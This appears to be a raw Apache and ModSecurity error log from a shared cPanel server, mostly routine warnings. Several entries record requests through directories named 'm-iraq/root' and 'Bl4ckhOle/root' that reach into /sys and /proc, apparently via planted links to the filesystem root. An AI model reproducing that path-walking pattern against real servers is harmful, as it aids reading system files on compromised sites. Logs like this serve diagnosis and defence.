[Fri Jul 17 09:41:40.423711 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/controlC0/uevent"] [unique_id "almrfIe39YUk0SgV8AVCzQAAABE"]
[Fri Jul 17 09:41:40.488813 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:42378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:40.610023 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:43.374998 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.162.198.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/tradeceylon-global": Permission denied [hostname "tradeceylon.com"] [uri "/wordpress/"] [unique_id "almrfwRRrtuZqNDDSqW4lAAAABo"]
[Fri Jul 17 09:41:43.375083 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.162.198.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/tradeceylon-ip": Permission denied [hostname "tradeceylon.com"] [uri "/wordpress/"] [unique_id "almrfwRRrtuZqNDDSqW4lAAAABo"]
[Fri Jul 17 09:41:43.508707 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:43.775248 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:44.279111 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:44.399532 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:44.676999 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:44.707641 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:44.797895 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:44.804101 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:45.466375 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:45.649496 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:45.918521 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.263541 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.329671 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.383171 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/cirrus/module/uevent
[Fri Jul 17 09:41:46.468991 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.658144 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.684429 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.748088 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:46.898181 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.026236 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.026722 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.120449 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.208146 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.287110 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.437536 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.522496 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:36814] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:47.559028 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.652602 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:47.931852 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:48.058546 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:48.331714 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:48.404287 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:36866] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:48.607236 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:48.607603 2026] [security2:error] [pid 2028246:tid 2028246] [client 3.88.238.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/vol_36_no_07_english.pdf"] [unique_id "almrgzsMb3am0TgkjETjeAAAAAo"]
[Fri Jul 17 09:41:48.607630 2026] [security2:error] [pid 2028246:tid 2028246] [client 3.88.238.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/vol_36_no_07_english.pdf"] [unique_id "almrgzsMb3am0TgkjETjeAAAAAo"]
[Fri Jul 17 09:41:48.713041 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:08/physical_node/rescan
[Fri Jul 17 09:41:48.773279 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:48.839181 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:48.857916 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:49.792564 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:49.866407 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:49.903401 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:41:50.000174 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:50.000957 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty19/subsystem/tty46/subsystem/tty5/power/"] [unique_id "almrhTsMb3am0TgkjETjewAAAAo"]
[Fri Jul 17 09:41:50.000987 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty19/subsystem/tty46/subsystem/tty5/power/"] [unique_id "almrhTsMb3am0TgkjETjewAAAAo"]
[Fri Jul 17 09:41:50.122455 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:50.225837 2026] [security2:error] [pid 2050580:tid 2050580] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/poppler/cMap/Adobe-Japan1/UniJISX0213-UTF32-H"] [unique_id "almrhpgKQioIviBkYdptuAAAABU"]
[Fri Jul 17 09:41:50.225884 2026] [security2:error] [pid 2050580:tid 2050580] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/poppler/cMap/Adobe-Japan1/UniJISX0213-UTF32-H"] [unique_id "almrhpgKQioIviBkYdptuAAAABU"]
[Fri Jul 17 09:41:50.273014 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:50.374641 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:50.781849 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:50.939103 2026] [security2:error] [pid 2050580:tid 2050580] [client 57.141.18.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory107/node0/memory93/node0/memory23/power/"] [unique_id "almrhpgKQioIviBkYdptuQAAABU"]
[Fri Jul 17 09:41:50.939139 2026] [security2:error] [pid 2050580:tid 2050580] [client 57.141.18.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory107/node0/memory93/node0/memory23/power/"] [unique_id "almrhpgKQioIviBkYdptuQAAABU"]
[Fri Jul 17 09:41:50.951970 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:51.499484 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:51.502239 2026] [security2:error] [pid 2030804:tid 2030804] [client 47.79.11.123:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/event4/subsystem/input0/id/vendor"] [unique_id "almrh4e39YUk0SgV8AVC3QAAABE"]
[Fri Jul 17 09:41:51.502269 2026] [security2:error] [pid 2030804:tid 2030804] [client 47.79.11.123:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/event4/subsystem/input0/id/vendor"] [unique_id "almrh4e39YUk0SgV8AVC3QAAABE"]
[Fri Jul 17 09:41:51.557322 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:51.831013 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:51.930750 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:51.946945 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.056986 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.251242 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.286949 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.624443 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:00/subsystem/drivers/hpet/bind
[Fri Jul 17 09:41:52.637676 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.662491 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.674799 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:52.834138 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/subsystem/drivers/button/unbind
[Fri Jul 17 09:41:53.018254 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:53.109981 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:53.391989 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/bus/serio/drivers/psmouse/bind
[Fri Jul 17 09:41:53.510576 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:53.573602 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:53.665437 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:01/PNP0F13:00/subsystem/uevent
[Fri Jul 17 09:41:53.760071 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:53.848577 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:53.974801 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:45810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:54.260658 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:54.409607 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:54.773901 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:55.144080 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:07/wakeup/wakeup7/device/eject
[Fri Jul 17 09:41:55.235813 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:55.334807 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/xhci-hcd/bind
[Fri Jul 17 09:41:55.424648 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:04/subsystem/drivers_probe
[Fri Jul 17 09:41:55.608184 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/hpet/bind
[Fri Jul 17 09:41:55.700008 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:55.919628 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:45926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:56.067997 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:56.162202 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:56.256352 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:41:56.353214 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:56.439138 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:56.644292 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:56.721964 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:56.814312 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:57.109385 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:57.179858 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/ac/unbind
[Fri Jul 17 09:41:57.546500 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:57.640280 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.043390 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/easy_install-3.6"] [unique_id "almrjroj0IkvhSCYadmKbgAAAAQ"]
[Fri Jul 17 09:41:58.043920 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/easy_install-3.6"] [unique_id "almrjroj0IkvhSCYadmKbgAAAAQ"]
[Fri Jul 17 09:41:58.044530 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/easy_install-3.6"] [unique_id "almrjroj0IkvhSCYadmKbgAAAAQ"]
[Fri Jul 17 09:41:58.100818 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.191799 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.281813 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.463450 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.554873 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.737133 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.835546 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.926419 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:58.969200 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:46084] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:59.360813 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:59.759341 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:00.167299 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:00.409665 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:00.498916 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:00.688276 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:00.849938 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:00.891104 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.131007 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.148985 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.349663 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.470250 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.518395 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.653391 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.702502 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.773451 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.929224 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:01.982187 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.075145 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.355198 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.355309 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.355358 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.355400 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.395916 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396007 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396051 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396096 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396122 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396155 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396183 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396208 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396232 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396267 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396286 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396304 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396331 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396357 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396389 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396409 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396432 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396450 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396473 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396495 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396518 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396541 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396564 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396608 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396636 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396660 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396687 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396709 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396733 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396757 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396782 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396803 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396824 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
